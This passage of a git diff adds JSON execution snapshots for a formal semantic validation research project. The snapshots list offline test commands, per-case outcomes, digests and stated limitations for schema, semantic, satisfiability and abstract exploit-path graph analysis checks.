"docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-valid-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-invalid-v2", + "network": "disabled" + } + ], + "configuration_id": "raes-python-reference-offline-v26", + "corpus_revision": "3.0.0", + "deviations": [], + "execution_id": "issue-1005-execution-v26", + "execution_status": "complete", + "observations": [ + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "schema-valid-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v26", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml" + ], + "execution_id": "issue-1005-execution-v26", + "limitations": [ + "A passing minimal source does not establish semantic correctness." + ], + "replayable": true, + "result_digest": "f7d364ef384df8a1526b489501835b635021c860793b5764f91d956710d2250c", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "schema-unknown-field", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v26", + "diagnostic_kind": "SDLParseError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml" + ], + "execution_id": "issue-1005-execution-v26", + "limitations": [ + "The observation covers one unknown-field defect only." + ], + "replayable": true, + "result_digest": "f55d834b458f8e069e1c69061b4cc0a6d61e0e052bf90c670f2e6a5ad8b5bd98", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "semantic-resolved-objective", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v26", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-valid.sdl.yaml" + ], + "execution_id": "issue-1005-execution-v26", + "limitations": [ + "This is a positive control for one objective-reference slice." + ], + "replayable": true, + "result_digest": "fadacf4359c97415f5433563e675d454c587917c85064b625d9756e4da1c4967", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-dangling-assertion", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v26", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref.sdl.yaml" + ], + "execution_id": "issue-1005-execution-v26", + "limitations": [ + "A single dangling reference does not prove complete semantic coverage." + ], + "replayable": true, + "result_digest": "0207cf616b56708ca9b8c4499d3301abe22dbe52162cf8d58d3bec429d9db024", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-ambiguous-reference", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v26", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml" + ], + "execution_id": "issue-1005-execution-v26", + "limitations": [ + "One namespace collision does not enumerate every ambiguity surface." + ], + "replayable": true, + "result_digest": "9da4a87797d228e0012ab6b30459f4892e41aa6f224a9840be035fee4a2eea73", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-feature-cycle", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v26", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml" + ], + "execution_id": "issue-1005-execution-v26", + "limitations": [ + "One static dependency cycle does not establish general constraint satisfiability." + ], + "replayable": true, + "result_digest": "d15dbcd99fb4f20b965d7031b07dd6534576302270399c3fa656d29e7de02b83", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "workflow-reachable-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v26", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml", + "implementations/python/tests/test_semantics_planner.py", + "specs/formal/workflows/state-machine.md" + ], + "execution_id": "issue-1005-execution-v26", + "limitations": [ + "The graph is workflow control flow only." + ], + "replayable": true, + "result_digest": "b1b49649b54bd59d4ef357b39cf9158da90f4eae560f8dd756acf97bd0827a06", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "workflow-unreachable-step", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v26", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml", + "implementations/python/tests/test_semantics_planner.py", + "specs/formal/workflows/state-machine.md" + ], + "execution_id": "issue-1005-execution-v26", + "limitations": [ + "The result does not establish network, service, participant, or exploit reachability." + ], + "replayable": true, + "result_digest": "bb931d19346ef9193408ae6c85deb4079704378fc5f00dc5f47a2817cff21943", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-satisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v26", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1005-execution-v26", + "limitations": [ + "No governed whole-scenario constraint theory or solver exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-unsatisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v26", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1005-execution-v26", + "limitations": [ + "Local checks cannot produce a whole-scenario unsat certificate." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "valid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v26", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1005-execution-v26", + "limitations": [ + "The issue-168 baseline had no canonical typed attack graph or path-query entrypoint." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "invalid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v26", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1005-execution-v26", + "limitations": [ + "Vulnerability and topology declarations are not an invalid-path proof." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "stable", + "analysis_profile": null, + "case_id": "compile-repeatability-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v26", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "implementations/python/tests/test_pipeline_determinism.py" + ], + "execution_id": "issue-1005-execution-v26", + "limitations": [ + "The witness ends at compiled output." + ], + "replayable": true, + "result_digest": "11264a648a949917c0e84a2a1e5d116139a35e6cb941844735a422df95141d6c", + "source_digest": null + }, + { + "actual_outcome": "distinguishable", + "analysis_profile": null, + "case_id": "compile-non-vacuity-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v26", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml" + ], + "execution_id": "issue-1005-execution-v26", + "limitations": [ + "Distinct digests are a non-vacuity control, not semantic non-equivalence proof." + ], + "replayable": true, + "result_digest": "72c1ee8c7bbc1f970216fa232b3d4ae917bcb003bd823439bbac8a5db94214e2", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "necessity-witness-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v26", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1005-execution-v26", + "limitations": [ + "No governed intervention or ablation protocol exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "non-necessity-control-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v26", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1005-execution-v26", + "limitations": [ + "Attribution and negative fixtures do not demonstrate non-necessity." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "satisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-satisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v26", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "evidence_artifact_sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add", + "evidence_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-1005-execution-v26", + "limitations": [ + "Demonstrates only the pinned finite-domain theory, translation, solver profile, and source." + ], + "replayable": true, + "result_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "source_digest": "sha256:0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "actual_outcome": "unsatisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-unsatisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v26", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "evidence_artifact_sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d", + "evidence_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-1005-execution-v26", + "limitations": [ + "The subset-minimal core is evidence for the pinned translation and solver, not a proof certificate for arbitrary SDL." + ], + "replayable": true, + "result_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "source_digest": "sha256:cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "actual_outcome": "valid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-valid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v26", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "evidence_artifact_sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c", + "evidence_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-1005-execution-v26", + "limitations": [ + "The witness is bounded to the admitted snapshot, normalized graph, query, semantics, and search profile; it does not establish backend execution." + ], + "replayable": true, + "result_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "source_digest": "sha256:0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "actual_outcome": "invalid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-invalid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v26", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "evidence_artifact_sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533", + "evidence_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-1005-execution-v26", + "limitations": [ + "Structured rejection proves only that this bounded graph/query cannot reach its goal; it does not establish real-world non-exploitability." + ], + "replayable": true, + "result_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "source_digest": "sha256:0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + } + ], + "participant_observations": [ + { + "evidence_refs": [ + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule" + ], + "execution_id": "issue-1005-execution-v26", + "limitations": [ + "Covers the reference SDL/contract path, not every backend projection." + ], + "negative_outcome": "passed", + "obligation_id": "hidden-vs-visible-projection", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved" + ], + "execution_id": "issue-1005-execution-v26", + "limitations": [ + "Covers declared applicability and one unresolved-precondition failure." + ], + "negative_outcome": "passed", + "obligation_id": "fail-closed-action-applicability", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes" + ], + "execution_id": "issue-1005-execution-v26", + "limitations": [ + "Contract evidence does not prove every backend's live concurrency fidelity." + ], + "negative_outcome": "passed", + "obligation_id": "shared-state-effects", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality" + ], + "execution_id": "issue-1005-execution-v26", + "limitations": [ + "Rejecting timestamp-only causality does not supply counterfactual proof." + ], + "negative_outcome": "passed", + "obligation_id": "ordering-before-causality", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality" + ], + "execution_id": "issue-1005-execution-v26", + "limitations": [ + "Attribution labels disclose basis; they do not demonstrate necessity." + ], + "negative_outcome": "passed", + "obligation_id": "evidence-labeled-attribution", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record" + ], + "execution_id": "issue-1005-execution-v26", + "limitations": [ + "The fixtures establish layer separation, not outcome validity in every realization." + ], + "negative_outcome": "passed", + "obligation_id": "participant-local-outcome-separation", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "execution_id": "issue-1005-execution-v26", + "limitations": [ + "Reference conformance evidence remains bounded to declared realization profiles." + ], + "negative_outcome": "passed", + "obligation_id": "realization-profile-honesty", + "positive_outcome": "passed" + } + ], + "protocol_revision": "2.0.0", + "raes_revision": "6ef3bdf5ec7784c7d0ecd6e78228bb2924b0e748", + "source_state": { + "base_revision": "6ef3bdf5ec7784c7d0ecd6e78228bb2924b0e748", + "checkout_state": "modified", + "implementation_digest": "995134b75111757afebf59f42f2efe6b4b6b596ab777433842ef35c995492e26", + "profile": "python-reference-source/v2" + }, + "versions": { + "python": "3.12.3", + "raes": "4.1.0", + "z3_engine": "4.16.0", + "z3_solver": "4.16.0.0" + } +} diff --git a/docs/research/formal-semantic-validation/execution-snapshot-v27.json b/docs/research/formal-semantic-validation/execution-snapshot-v27.json new file mode 100644 index 000000000..e875c8013 --- /dev/null +++ b/docs/research/formal-semantic-validation/execution-snapshot-v27.json @@ -0,0 +1,657 @@ +{ + "baseline": { + "execution_id": "issue-1005-execution-v26", + "release_path": "docs/research/formal-semantic-validation/bundles/retest-v26.json", + "release_revision": "27.0.0", + "release_sha256": "a89df3eeeb31e69a1af375f8dbb9f36f4f0b19079209efc1867e80cb6c429331" + }, + "captured_at": "2026-09-17T04:04:20.260824+00:00", + "commands": [ + { + "argv": [ + "implementations/python/.venv/bin/python", + "tools/check_formal_semantic_validation.py" + ], + "command_id": "bundle-replay", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/pytest", + "-q", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record", + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "command_id": "participant-fixtures", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-satisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-unsatisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-valid-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-invalid-v2", + "network": "disabled" + } + ], + "configuration_id": "raes-python-reference-offline-v27", + "corpus_revision": "3.0.0", + "deviations": [], + "execution_id": "issue-1299-execution-v27", + "execution_status": "complete", + "observations": [ + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "schema-valid-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v27", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml" + ], + "execution_id": "issue-1299-execution-v27", + "limitations": [ + "A passing minimal source does not establish semantic correctness." + ], + "replayable": true, + "result_digest": "f7d364ef384df8a1526b489501835b635021c860793b5764f91d956710d2250c", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "schema-unknown-field", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v27", + "diagnostic_kind": "SDLParseError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml" + ], + "execution_id": "issue-1299-execution-v27", + "limitations": [ + "The observation covers one unknown-field defect only." + ], + "replayable": true, + "result_digest": "f55d834b458f8e069e1c69061b4cc0a6d61e0e052bf90c670f2e6a5ad8b5bd98", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "semantic-resolved-objective", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v27", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-valid.sdl.yaml" + ], + "execution_id": "issue-1299-execution-v27", + "limitations": [ + "This is a positive control for one objective-reference slice." + ], + "replayable": true, + "result_digest": "fadacf4359c97415f5433563e675d454c587917c85064b625d9756e4da1c4967", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-dangling-assertion", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v27", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref.sdl.yaml" + ], + "execution_id": "issue-1299-execution-v27", + "limitations": [ + "A single dangling reference does not prove complete semantic coverage." + ], + "replayable": true, + "result_digest": "0207cf616b56708ca9b8c4499d3301abe22dbe52162cf8d58d3bec429d9db024", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-ambiguous-reference", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v27", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml" + ], + "execution_id": "issue-1299-execution-v27", + "limitations": [ + "One namespace collision does not enumerate every ambiguity surface." + ], + "replayable": true, + "result_digest": "9da4a87797d228e0012ab6b30459f4892e41aa6f224a9840be035fee4a2eea73", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-feature-cycle", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v27", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml" + ], + "execution_id": "issue-1299-execution-v27", + "limitations": [ + "One static dependency cycle does not establish general constraint satisfiability." + ], + "replayable": true, + "result_digest": "d15dbcd99fb4f20b965d7031b07dd6534576302270399c3fa656d29e7de02b83", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "workflow-reachable-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v27", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml", + "implementations/python/tests/test_semantics_planner.py", + "specs/formal/workflows/state-machine.md" + ], + "execution_id": "issue-1299-execution-v27", + "limitations": [ + "The graph is workflow control flow only." + ], + "replayable": true, + "result_digest": "b1b49649b54bd59d4ef357b39cf9158da90f4eae560f8dd756acf97bd0827a06", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "workflow-unreachable-step", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v27", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml", + "implementations/python/tests/test_semantics_planner.py", + "specs/formal/workflows/state-machine.md" + ], + "execution_id": "issue-1299-execution-v27", + "limitations": [ + "The result does not establish network, service, participant, or exploit reachability." + ], + "replayable": true, + "result_digest": "bb931d19346ef9193408ae6c85deb4079704378fc5f00dc5f47a2817cff21943", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-satisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v27", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1299-execution-v27", + "limitations": [ + "No governed whole-scenario constraint theory or solver exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-unsatisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v27", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1299-execution-v27", + "limitations": [ + "Local checks cannot produce a whole-scenario unsat certificate." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": 